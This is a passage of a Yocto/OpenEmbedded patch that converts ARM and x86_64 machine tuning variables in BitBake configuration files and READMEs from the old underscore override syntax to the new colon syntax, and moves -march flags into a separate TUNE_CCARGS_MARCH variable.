--- a/meta/conf/machine-sdk/x86_64.conf
+++ b/meta/conf/machine-sdk/x86_64.conf
@@ -1,2 +1,2 @@
SDK_ARCH = "x86_64"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
diff --git a/meta/conf/machine/include/README b/meta/conf/machine/include/README
index d66130acbc..3ae68231d0 100644
--- a/meta/conf/machine/include/README
+++ b/meta/conf/machine/include/README
@@ -31,10 +31,10 @@ TUNECONFLICTS[feature] - A list of features which conflict with <feature>.
New sanity checks will try to reject combinations in which a single
tuning ends up with features which conflict with each other.
-TUNE_FEATURES - This is automatically defined as TUNE_FEATURES_tune-<tune>.
-See TUNE_FEATURES_tune-<tune> for more information.
+TUNE_FEATURES - This is automatically defined as TUNE_FEATURES:tune-<tune>.
+See TUNE_FEATURES:tune-<tune> for more information.
-TUNE_FEATURES_tune-<tune> - Specify the features used to describe a
+TUNE_FEATURES:tune-<tune> - Specify the features used to describe a
specific tune. This is a list of features that a tune support, each
feature must be in the TUNEVALID list. Note: the tune and a given
feature name may be the same, but they have different purposes. Only
@@ -66,10 +66,10 @@ CPU family.
PACKAGE_EXTRA_ARCHS - Lists all runtime compatible package
architectures. By default this is equal to
-PACKAGE_EXTRA_ARCHS_tune-<tune>. If an architecture deviates from the
+PACKAGE_EXTRA_ARCHS:tune-<tune>. If an architecture deviates from the
default it will be listed in the architecture README.
-PACKAGE_EXTRA_ARCHS_tune-<tune> - List all of the package architectures
+PACKAGE_EXTRA_ARCHS:tune-<tune> - List all of the package architectures
that are compatible with this specific tune. The package arch of this
tune must be in the list.
@@ -79,7 +79,7 @@ architecture specific floating point. This is synchronized with the
compiler and other toolchain items. This should be dynamically
configured in the same way that TUNE_CCARGS is.
-BASE_LIB_tune-<tune> - The "/lib" location for a specific ABI. This is
+BASE_LIB:tune-<tune> - The "/lib" location for a specific ABI. This is
used in a multilib configuration to place the libraries in the correct,
non-conflicting locations.
diff --git a/meta/conf/machine/include/arm/README b/meta/conf/machine/include/arm/README
index a1beb75fdf..c5637798e6 100644
--- a/meta/conf/machine/include/arm/README
+++ b/meta/conf/machine/include/arm/README
@@ -10,7 +10,7 @@ of the existence of the "bigendian" feature in a given tune.
A small set of ARM specific variables have been defined to allow
TUNE_PKGARCH to be automatically defined. Optimized tunings must NOT
-change the definiton of TUNE_PKGARCH. TUNE_PKGACH_tune-<tune> will be
+change the definiton of TUNE_PKGARCH. TUNE_PKGACH:tune-<tune> will be
ignored. The format of the package arch is enforced by the TUNE_PKGARCH
default. The format must be of the form:
<armversion>[t][e][hf][b][-vfp][-neon]
diff --git a/meta/conf/machine/include/arm/arch-arm.inc b/meta/conf/machine/include/arm/arch-arm.inc
index 99625d8417..f1e92e19c6 100644
--- a/meta/conf/machine/include/arm/arch-arm.inc
+++ b/meta/conf/machine/include/arm/arch-arm.inc
@@ -1,7 +1,7 @@
TUNEVALID[bigendian] = "Enable big-endian mode."
-ARMPKGARCH = "${ARMPKGARCH_tune-${DEFAULTTUNE}}"
+ARMPKGARCH = "${ARMPKGARCH:tune-${DEFAULTTUNE}}"
ARMPKGSFX_ENDIAN = "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', 'b', '', d)}"
ARMPKGSFX_FPU ??= ""
ARMPKGSFX_DSP ??= ""
@@ -14,3 +14,7 @@ TUNE_PKGARCH = "${ARMPKGARCH}${ARMPKGSFX_THUMB}${ARMPKGSFX_DSP}${ARMPKGSFX_EABI}
ABIEXTENSION = "eabi"
TARGET_FPU = "${@d.getVar('TUNE_CCARGS_MFLOAT') or 'soft'}"
+
+# Some -march settings need a +X option passed in. Since we cannot guarantee that any specified TUNE_CCARGS option is set in any order, we must hard code the order here to allow for it.
+TUNE_CCARGS_MARCH_OPTS ??= ""
+TUNE_CCARGS .= "${TUNE_CCARGS_MARCH}${TUNE_CCARGS_MARCH_OPTS}"
diff --git a/meta/conf/machine/include/arm/arch-arm64.inc b/meta/conf/machine/include/arm/arch-arm64.inc
index eab3323ec6..0e2efb5a40 100644
--- a/meta/conf/machine/include/arm/arch-arm64.inc
+++ b/meta/conf/machine/include/arm/arch-arm64.inc
@@ -9,17 +9,17 @@ MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', 'aarch64:'
# Little Endian base configs
AVAILTUNES += "aarch64 aarch64_be"
-ARMPKGARCH_tune-aarch64 ?= "aarch64"
-ARMPKGARCH_tune-aarch64_be ?= "aarch64"
-TUNE_FEATURES_tune-aarch64 = "aarch64"
-TUNE_FEATURES_tune-aarch64_be = "${TUNE_FEATURES_tune-aarch64} bigendian"
-TUNE_PKGARCH_64_tune-aarch64 = "aarch64"
-TUNE_PKGARCH_64_tune-aarch64_be = "aarch64_be"
-BASE_LIB_tune-aarch64 = "lib64"
-BASE_LIB_tune-aarch64_be = "lib64"
-
-PACKAGE_EXTRA_ARCHS_tune-aarch64 = "aarch64"
-PACKAGE_EXTRA_ARCHS_tune-aarch64_be = "aarch64_be"
+ARMPKGARCH:tune-aarch64 ?= "aarch64"
+ARMPKGARCH:tune-aarch64_be ?= "aarch64"
+TUNE_FEATURES:tune-aarch64 = "aarch64"
+TUNE_FEATURES:tune-aarch64_be = "${TUNE_FEATURES:tune-aarch64} bigendian"
+TUNE_PKGARCH_64:tune-aarch64 = "aarch64"
+TUNE_PKGARCH_64:tune-aarch64_be = "aarch64_be"
+BASE_LIB:tune-aarch64 = "lib64"
+BASE_LIB:tune-aarch64_be = "lib64"
+
+PACKAGE_EXTRA_ARCHS:tune-aarch64 = "aarch64"
+PACKAGE_EXTRA_ARCHS:tune-aarch64_be = "aarch64_be"
ARMPKGSFX_ENDIAN_64 = "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '_be', '', d)}"
TUNE_ARCH_64 = "aarch64${ARMPKGSFX_ENDIAN_64}"
diff --git a/meta/conf/machine/include/arm/arch-armv4.inc b/meta/conf/machine/include/arm/arch-armv4.inc
index fac2bdf952..be5761fb20 100644
--- a/meta/conf/machine/include/arm/arch-armv4.inc
+++ b/meta/conf/machine/include/arm/arch-armv4.inc
@@ -2,7 +2,7 @@ DEFAULTTUNE ?= "armv4"
TUNEVALID[arm] = "Enable ARM instruction set"
TUNEVALID[armv4] = "Enable instructions for ARMv4"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv4', ' -march=armv4t', '', d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv4', ' -march=armv4${ARMPKGSFX_THUMB}', '', d)}"
# enable --fix-v4bx when we have armv4 in TUNE_FEATURES, but then disable it when we have also armv5 or thumb
# maybe we should extend bb.utils.contains to support check for any checkvalues in value, now it does
# checkvalues.issubset(val) which cannot be used for negative test of foo neither bar in value
@@ -17,18 +17,18 @@ require conf/machine/include/arm/feature-arm-thumb.inc
# Little Endian
AVAILTUNES += "armv4 armv4t"
-ARMPKGARCH_tune-armv4 ?= "armv4"
-ARMPKGARCH_tune-armv4t ?= "armv4"
-TUNE_FEATURES_tune-armv4 = "arm armv4"
-TUNE_FEATURES_tune-armv4t = "${TUNE_FEATURES_tune-armv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-armv4 = "arm armv4"
-PACKAGE_EXTRA_ARCHS_tune-armv4t = "${PACKAGE_EXTRA_ARCHS_tune-armv4} armv4t"
+ARMPKGARCH:tune-armv4 ?= "armv4"
+ARMPKGARCH:tune-armv4t ?= "armv4"
+TUNE_FEATURES:tune-armv4 = "arm armv4"
+TUNE_FEATURES:tune-armv4t = "${TUNE_FEATURES:tune-armv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-armv4 = "arm armv4"
+PACKAGE_EXTRA_ARCHS:tune-armv4t = "${PACKAGE_EXTRA_ARCHS:tune-armv4} armv4t"
# Big Endian
AVAILTUNES += "armv4b armv4tb"
-ARMPKGARCH_tune-armv4b ?= "armv4"
-ARMPKGARCH_tune-armv4tb ?= "armv4"
-TUNE_FEATURES_tune-armv4b = "${TUNE_FEATURES_tune-armv4} bigendian"
-TUNE_FEATURES_tune-armv4tb = "${TUNE_FEATURES_tune-armv4t} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv4b = "armeb armv4b"
-PACKAGE_EXTRA_ARCHS_tune-armv4tb = "${PACKAGE_EXTRA_ARCHS_tune-armv4b} armv4tb"
+ARMPKGARCH:tune-armv4b ?= "armv4"
+ARMPKGARCH:tune-armv4tb ?= "armv4"
+TUNE_FEATURES:tune-armv4b = "${TUNE_FEATURES:tune-armv4} bigendian"
+TUNE_FEATURES:tune-armv4tb = "${TUNE_FEATURES:tune-armv4t} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv4b = "armeb armv4b"
+PACKAGE_EXTRA_ARCHS:tune-armv4tb = "${PACKAGE_EXTRA_ARCHS:tune-armv4b} armv4tb"
diff --git a/meta/conf/machine/include/arm/arch-armv5-dsp.inc b/meta/conf/machine/include/arm/arch-armv5-dsp.inc
index d117af1520..f3c749d722 100644
--- a/meta/conf/machine/include/arm/arch-armv5-dsp.inc
+++ b/meta/conf/machine/include/arm/arch-armv5-dsp.inc
@@ -1,3 +1,4 @@
+# Can't use feature-arm-dsp.inc, since that will add "+dsp", which isn't supported in GCC for ARMv5
ARMPKGSFX_DSP = "${@bb.utils.contains('TUNE_FEATURES', [ 'dsp' ], 'e', '', d)}"
TUNEVALID[dsp] = "ARM DSP functionality"
@@ -5,48 +6,48 @@ require conf/machine/include/arm/arch-armv5.inc
# Little Endian
AVAILTUNES += "armv5e armv5te"
-ARMPKGARCH_tune-armv5e ?= "armv5"
-ARMPKGARCH_tune-armv5te ?= "armv5"
-TUNE_FEATURES_tune-armv5e = "${TUNE_FEATURES_tune-armv5} dsp"
-TUNE_FEATURES_tune-armv5te = "${TUNE_FEATURES_tune-armv5t} dsp"
-PACKAGE_EXTRA_ARCHS_tune-armv5e = "${PACKAGE_EXTRA_ARCHS_tune-armv5} armv5e"
-PACKAGE_EXTRA_ARCHS_tune-armv5te = "${PACKAGE_EXTRA_ARCHS_tune-armv5t} armv5e armv5te"
+ARMPKGARCH:tune-armv5e ?= "armv5"
+ARMPKGARCH:tune-armv5te ?= "armv5"
+TUNE_FEATURES:tune-armv5e = "${TUNE_FEATURES:tune-armv5} dsp"
+TUNE_FEATURES:tune-armv5te = "${TUNE_FEATURES:tune-armv5t} dsp"
+PACKAGE_EXTRA_ARCHS:tune-armv5e = "${PACKAGE_EXTRA_ARCHS:tune-armv5} armv5e"
+PACKAGE_EXTRA_ARCHS:tune-armv5te = "${PACKAGE_EXTRA_ARCHS:tune-armv5t} armv5e armv5te"
# Little Endian + VFP/DSP
AVAILTUNES += "armv5e-vfp armv5te-vfp armv5ehf-vfp armv5tehf-vfp"
-ARMPKGARCH_tune-armv5e-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5te-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5ehf-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5tehf-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5e-vfp = "${TUNE_FEATURES_tune-armv5e} vfp"
-TUNE_FEATURES_tune-armv5te-vfp = "${TUNE_FEATURES_tune-armv5te} vfp"
-TUNE_FEATURES_tune-armv5ehf-vfp = "${TUNE_FEATURES_tune-armv5e-vfp} callconvention-hard"
-TUNE_FEATURES_tune-armv5tehf-vfp = "${TUNE_FEATURES_tune-armv5te-vfp} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv5e-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5-vfp} armv5e armv5e-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5te-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5t-vfp} armv5e armv5te armv5e-vfp armv5te-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5ehf-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5hf-vfp} armv5ehf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5tehf-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5thf-vfp} armv5ehf-vfp armv5tehf-vfp"
+ARMPKGARCH:tune-armv5e-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5te-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5ehf-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5tehf-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5e-vfp = "${TUNE_FEATURES:tune-armv5e} vfp"
+TUNE_FEATURES:tune-armv5te-vfp = "${TUNE_FEATURES:tune-armv5te} vfp"
+TUNE_FEATURES:tune-armv5ehf-vfp = "${TUNE_FEATURES:tune-armv5e-vfp} callconvention-hard"
+TUNE_FEATURES:tune-armv5tehf-vfp = "${TUNE_FEATURES:tune-armv5te-vfp} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv5e-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5-vfp} armv5e armv5e-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5te-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5t-vfp} armv5e armv5te armv5e-vfp armv5te-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5ehf-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5hf-vfp} armv5ehf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5tehf-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5thf-vfp} armv5ehf-vfp armv5tehf-vfp"
# Big Endian
AVAILTUNES += "armv5eb armv5teb"
-ARMPKGARCH_tune-armv5eb ?= "armv5"
-ARMPKGARCH_tune-armv5teb ?= "armv5"
-TUNE_FEATURES_tune-armv5eb = "${TUNE_FEATURES_tune-armv5e} bigendian"
-TUNE_FEATURES_tune-armv5teb = "${TUNE_FEATURES_tune-armv5te} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5eb = "${PACKAGE_EXTRA_ARCHS_tune-armv5b} armv5eb"
-PACKAGE_EXTRA_ARCHS_tune-armv5teb = "${PACKAGE_EXTRA_ARCHS_tune-armv5tb} armv5eb armv5teb"
+ARMPKGARCH:tune-armv5eb ?= "armv5"
+ARMPKGARCH:tune-armv5teb ?= "armv5"
+TUNE_FEATURES:tune-armv5eb = "${TUNE_FEATURES:tune-armv5e} bigendian"
+TUNE_FEATURES:tune-armv5teb = "${TUNE_FEATURES:tune-armv5te} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5eb = "${PACKAGE_EXTRA_ARCHS:tune-armv5b} armv5eb"
+PACKAGE_EXTRA_ARCHS:tune-armv5teb = "${PACKAGE_EXTRA_ARCHS:tune-armv5tb} armv5eb armv5teb"
# Big Endian + VFP/DSP
AVAILTUNES += "armv5eb-vfp armv5teb-vfp armv5ehfb-vfp armv5tehfb-vfp"
-ARMPKGARCH_tune-armv5eb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5teb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5ehfb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5tehfb-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5eb-vfp = "${TUNE_FEATURES_tune-armv5e-vfp} bigendian"
-TUNE_FEATURES_tune-armv5teb-vfp = "${TUNE_FEATURES_tune-armv5te-vfp} bigendian"
-TUNE_FEATURES_tune-armv5ehfb-vfp = "${TUNE_FEATURES_tune-armv5ehf-vfp} bigendian"
-TUNE_FEATURES_tune-armv5tehfb-vfp = "${TUNE_FEATURES_tune-armv5tehf-vfp} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5eb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5b-vfp} armv5eb armv5eb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5teb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5tb-vfp} armv5eb armv5teb armv5eb-vfp armv5teb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5ehfb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5hfb-vfp} armv5ehfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5tehfb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5thfb-vfp} armv5ehfb-vfp armv5tehfb-vfp"
+ARMPKGARCH:tune-armv5eb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5teb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5ehfb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5tehfb-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5eb-vfp = "${TUNE_FEATURES:tune-armv5e-vfp} bigendian"
+TUNE_FEATURES:tune-armv5teb-vfp = "${TUNE_FEATURES:tune-armv5te-vfp} bigendian"
+TUNE_FEATURES:tune-armv5ehfb-vfp = "${TUNE_FEATURES:tune-armv5ehf-vfp} bigendian"
+TUNE_FEATURES:tune-armv5tehfb-vfp = "${TUNE_FEATURES:tune-armv5tehf-vfp} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5eb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5b-vfp} armv5eb armv5eb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5teb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5tb-vfp} armv5eb armv5teb armv5eb-vfp armv5teb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5ehfb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5hfb-vfp} armv5ehfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5tehfb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5thfb-vfp} armv5ehfb-vfp armv5tehfb-vfp"
diff --git a/meta/conf/machine/include/arm/arch-armv5.inc b/meta/conf/machine/include/arm/arch-armv5.inc
index 52d8590165..6bb465e7b6 100644
--- a/meta/conf/machine/include/arm/arch-armv5.inc
+++ b/meta/conf/machine/include/arm/arch-armv5.inc
@@ -2,7 +2,7 @@ DEFAULTTUNE ?= "armv5"
TUNEVALID[armv5] = "Enable instructions for ARMv5"
TUNECONFLICTS[armv5] = "armv4"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv5', ' -march=armv5t${ARMPKGSFX_DSP}', '', d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv5', ' -march=armv5t${ARMPKGSFX_DSP}', '', d)}"
MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv5', 'armv5:', '', d)}"
require conf/machine/include/arm/arch-armv4.inc
@@ -10,48 +10,48 @@ require conf/machine/include/arm/feature-arm-vfp.inc
# Little Endian
AVAILTUNES += "armv5 armv5t"
-ARMPKGARCH_tune-armv5 ?= "armv5"
-ARMPKGARCH_tune-armv5t ?= "armv5"
-TUNE_FEATURES_tune-armv5 = "arm armv5"
-TUNE_FEATURES_tune-armv5t = "${TUNE_FEATURES_tune-armv5} thumb"
-PACKAGE_EXTRA_ARCHS_tune-armv5 = "${PACKAGE_EXTRA_ARCHS_tune-armv4} armv5"
-PACKAGE_EXTRA_ARCHS_tune-armv5t = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} armv5 armv5t"
+ARMPKGARCH:tune-armv5 ?= "armv5"
+ARMPKGARCH:tune-armv5t ?= "armv5"
+TUNE_FEATURES:tune-armv5 = "arm armv5"
+TUNE_FEATURES:tune-armv5t = "${TUNE_FEATURES:tune-armv5} thumb"
+PACKAGE_EXTRA_ARCHS:tune-armv5 = "${PACKAGE_EXTRA_ARCHS:tune-armv4} armv5"
+PACKAGE_EXTRA_ARCHS:tune-armv5t = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} armv5 armv5t"
# Little Endian + VFP/DSP
AVAILTUNES += "armv5-vfp armv5t-vfp armv5hf-vfp armv5thf-vfp"
-ARMPKGARCH_tune-armv5-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5t-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5hf-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5thf-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5-vfp = "${TUNE_FEATURES_tune-armv5} vfp"
-TUNE_FEATURES_tune-armv5t-vfp = "${TUNE_FEATURES_tune-armv5t} vfp"
-TUNE_FEATURES_tune-armv5hf-vfp = "${TUNE_FEATURES_tune-armv5-vfp} callconvention-hard"
-TUNE_FEATURES_tune-armv5thf-vfp = "${TUNE_FEATURES_tune-armv5t-vfp} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv5-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5} armv5-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5t-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5t} armv5-vfp armv5t-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5hf-vfp = "armv5hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5thf-vfp = "armv5hf-vfp armv5thf-vfp"
+ARMPKGARCH:tune-armv5-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5t-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5hf-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5thf-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5-vfp = "${TUNE_FEATURES:tune-armv5} vfp"
+TUNE_FEATURES:tune-armv5t-vfp = "${TUNE_FEATURES:tune-armv5t} vfp"
+TUNE_FEATURES:tune-armv5hf-vfp = "${TUNE_FEATURES:tune-armv5-vfp} callconvention-hard"
+TUNE_FEATURES:tune-armv5thf-vfp = "${TUNE_FEATURES:tune-armv5t-vfp} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv5-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5} armv5-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5t-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5t} armv5-vfp armv5t-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5hf-vfp = "armv5hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5thf-vfp = "armv5hf-vfp armv5thf-vfp"
# Big Endian
AVAILTUNES += "armv5b armv5tb"
-ARMPKGARCH_tune-armv5b ?= "armv5"
-ARMPKGARCH_tune-armv5tb ?= "armv5"
-TUNE_FEATURES_tune-armv5b = "${TUNE_FEATURES_tune-armv5} bigendian"
-TUNE_FEATURES_tune-armv5tb = "${TUNE_FEATURES_tune-armv5t} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5b = "${PACKAGE_EXTRA_ARCHS_tune-armv4b} armv5b"
-PACKAGE_EXTRA_ARCHS_tune-armv5tb = "${PACKAGE_EXTRA_ARCHS_tune-armv4tb} armv5b armv5tb"
+ARMPKGARCH:tune-armv5b ?= "armv5"
+ARMPKGARCH:tune-armv5tb ?= "armv5"
+TUNE_FEATURES:tune-armv5b = "${TUNE_FEATURES:tune-armv5} bigendian"
+TUNE_FEATURES:tune-armv5tb = "${TUNE_FEATURES:tune-armv5t} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5b = "${PACKAGE_EXTRA_ARCHS:tune-armv4b} armv5b"
+PACKAGE_EXTRA_ARCHS:tune-armv5tb = "${PACKAGE_EXTRA_ARCHS:tune-armv4tb} armv5b armv5tb"
# Big Endian + VFP/DSP
AVAILTUNES += "armv5b-vfp armv5tb-vfp armv5hfb-vfp armv5thfb-vfp"
-ARMPKGARCH_tune-armv5b-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5tb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5hfb-vfp ?= "armv5"
-ARMPKGARCH_tune-armv5thfb-vfp ?= "armv5"
-TUNE_FEATURES_tune-armv5b-vfp = "${TUNE_FEATURES_tune-armv5-vfp} bigendian"
-TUNE_FEATURES_tune-armv5tb-vfp = "${TUNE_FEATURES_tune-armv5t-vfp} bigendian"
-TUNE_FEATURES_tune-armv5hfb-vfp = "${TUNE_FEATURES_tune-armv5hf-vfp} bigendian"
-TUNE_FEATURES_tune-armv5thfb-vfp = "${TUNE_FEATURES_tune-armv5thf-vfp} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv5b-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5b} armv5b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5tb-vfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5tb} armv5b-vfp armv5tb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5hfb-vfp = "armv5hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv5thfb-vfp = "armv5hfb-vfp armv5thfb-vfp"
+ARMPKGARCH:tune-armv5b-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5tb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5hfb-vfp ?= "armv5"
+ARMPKGARCH:tune-armv5thfb-vfp ?= "armv5"
+TUNE_FEATURES:tune-armv5b-vfp = "${TUNE_FEATURES:tune-armv5-vfp} bigendian"
+TUNE_FEATURES:tune-armv5tb-vfp = "${TUNE_FEATURES:tune-armv5t-vfp} bigendian"
+TUNE_FEATURES:tune-armv5hfb-vfp = "${TUNE_FEATURES:tune-armv5hf-vfp} bigendian"
+TUNE_FEATURES:tune-armv5thfb-vfp = "${TUNE_FEATURES:tune-armv5thf-vfp} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv5b-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5b} armv5b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5tb-vfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5tb} armv5b-vfp armv5tb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5hfb-vfp = "armv5hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv5thfb-vfp = "armv5hfb-vfp armv5thfb-vfp"
diff --git a/meta/conf/machine/include/arm/arch-armv6.inc b/meta/conf/machine/include/arm/arch-armv6.inc
index 7531890e2e..ef8d288ea7 100644
--- a/meta/conf/machine/include/arm/arch-armv6.inc
+++ b/meta/conf/machine/include/arm/arch-armv6.inc
@@ -2,49 +2,49 @@ DEFAULTTUNE ?= "armv6hf"
TUNEVALID[armv6] = "Enable instructions for ARMv6"
TUNECONFLICTS[armv6] = "armv4 armv5"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv6', ' -march=armv6', '', d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv6', ' -march=armv6', '', d)}"
MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv6', 'armv6:', '', d)}"
require conf/machine/include/arm/arch-armv5-dsp.inc
# Little Endian
AVAILTUNES += "armv6-novfp armv6t-novfp armv6 armv6t armv6hf armv6thf"
-ARMPKGARCH_tune-armv6-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6t-novfp ?= "armv6"
-ARMPKGARCH_tune-armv6 ?= "armv6"
-ARMPKGARCH_tune-armv6t ?= "armv6"
-ARMPKGARCH_tune-armv6hf ?= "armv6"
-ARMPKGARCH_tune-armv6thf ?= "armv6"
-TUNE_FEATURES_tune-armv6-novfp = "arm armv6"
-TUNE_FEATURES_tune-armv6t-novfp = "${TUNE_FEATURES_tune-armv6-novfp} thumb"
-TUNE_FEATURES_tune-armv6 = "${TUNE_FEATURES_tune-armv6-novfp} vfp"
-TUNE_FEATURES_tune-armv6t = "${TUNE_FEATURES_tune-armv6t-novfp} vfp"
-TUNE_FEATURES_tune-armv6hf = "${TUNE_FEATURES_tune-armv6} callconvention-hard"
-TUNE_FEATURES_tune-armv6thf = "${TUNE_FEATURES_tune-armv6t} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv6-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5e} armv6"
-PACKAGE_EXTRA_ARCHS_tune-armv6t-novfp = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} armv6 armv6t"
-PACKAGE_EXTRA_ARCHS_tune-armv6 = "${PACKAGE_EXTRA_ARCHS_tune-armv5e-vfp} armv6 armv6-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6t = "${PACKAGE_EXTRA_ARCHS_tune-armv5te-vfp} armv6 armv6t armv6-vfp armv6t-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6hf = "${PACKAGE_EXTRA_ARCHS_tune-armv5ehf-vfp} armv6hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv6thf = "${PACKAGE_EXTRA_ARCHS_tune-armv5tehf-vfp} armv6hf-vfp armv6thf-vfp"
+ARMPKGARCH:tune-armv6-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6t-novfp ?= "armv6"
+ARMPKGARCH:tune-armv6 ?= "armv6"
+ARMPKGARCH:tune-armv6t ?= "armv6"
+ARMPKGARCH:tune-armv6hf ?= "armv6"
+ARMPKGARCH:tune-armv6thf ?= "armv6"
+TUNE_FEATURES:tune-armv6-novfp = "arm armv6"
+TUNE_FEATURES:tune-armv6t-novfp = "${TUNE_FEATURES:tune-armv6-novfp} thumb"
+TUNE_FEATURES:tune-armv6 = "${TUNE_FEATURES:tune-armv6-novfp} vfp"
+TUNE_FEATURES:tune-armv6t = "${TUNE_FEATURES:tune-armv6t-novfp} vfp"
+TUNE_FEATURES:tune-armv6hf = "${TUNE_FEATURES:tune-armv6} callconvention-hard"
+TUNE_FEATURES:tune-armv6thf = "${TUNE_FEATURES:tune-armv6t} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv6-novfp = "${PACKAGE_EXTRA_ARCHS:tune-armv5e} armv6"
